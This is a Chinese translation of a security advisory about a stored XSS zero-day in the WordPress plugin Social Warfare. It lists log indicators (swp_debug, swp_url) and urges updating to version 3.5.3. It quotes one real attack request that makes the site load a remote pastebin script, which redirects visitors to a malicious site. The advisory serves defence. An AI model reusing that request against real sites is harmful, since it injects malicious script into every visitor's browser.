近期，网上曝出WordPress的流行插件Social Warfare出现一个零日漏洞，影响超过70,000个网站。

此次曝出的漏洞为存储型的XSS（跨站脚本攻击）漏洞，存在漏洞的插件已从插件库中删除。任何访问使用了漏洞插件的网站的用户都会受到攻击。

目前该插件作者已发布安全补丁，建议用户尽快更新到版本3.5.3。

细节

存在漏洞的代码存在于插件的某些调试功能中。这些功能并不能直接使用，而是需要依赖于$_GET参数来执行。因此，你可以轻松判断你的网站是否受到此漏洞影响。

一旦攻击成功，XSS漏洞的payload就会存储到网站数据库中，造成持续影响。

目前网络上已经出现了PoC，预计未来几天相关攻击的数量会持续增加。

攻击特征

你可以在你服务器的访问日志中查找任何指向/wp-admin/下PHP文件的请求以及相关参数：

• swp_debug
• swp_url

攻击流量

在公网中可以观察到如下攻击流量，涉及100多个IP。

202.254.236.49 - - [21/Mar/2019:16:52:14 -0400] "GET /wp-admin/admin-post.php?swp_debug=load_options&swp_url=https://pastebin.com/raw/0yJzqbYf HTTP/1.1" 403 2669 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0"

该攻击会加载网址[https://pastebin.com/raw/0yJzqbYf](https://pastebin.com/raw/0yJzqbYf)的恶意前端脚本，其中payload如下：

该脚本将用户重定向到另一个恶意站点。

结论

跨站点脚本攻击（XSS）是一种普遍存在的漏洞，一旦受害者点击恶意链接，攻击者能往受害者的浏览器加载恶意代码，产生难以估计的恶劣影响。

Social Warfare插件的这个存储型XSS的payload会存储在站点的数据库中，危害巨大，一旦攻击成功，任何浏览被攻陷网站的用户都会受到影响。

为了防止受到此漏洞攻击，我们强烈建议所有安装了Social Warfare插件的用户尽快将其更新到3.5.3版本。如果您法立即更新，可以利用防火墙等安全设备拦截攻击。

本文由白帽汇整理并翻译，不代表白帽汇任何观点和立场
来源：https://blog.sucuri.net/2019/03/zero-day-stored-xss-in-social-warfare.html?utm_source=Twitter&utm_medium=Social&utm_campaign=Blog&utm_term=EN&utm_content=zero-day-stored-xss-in-social-warfare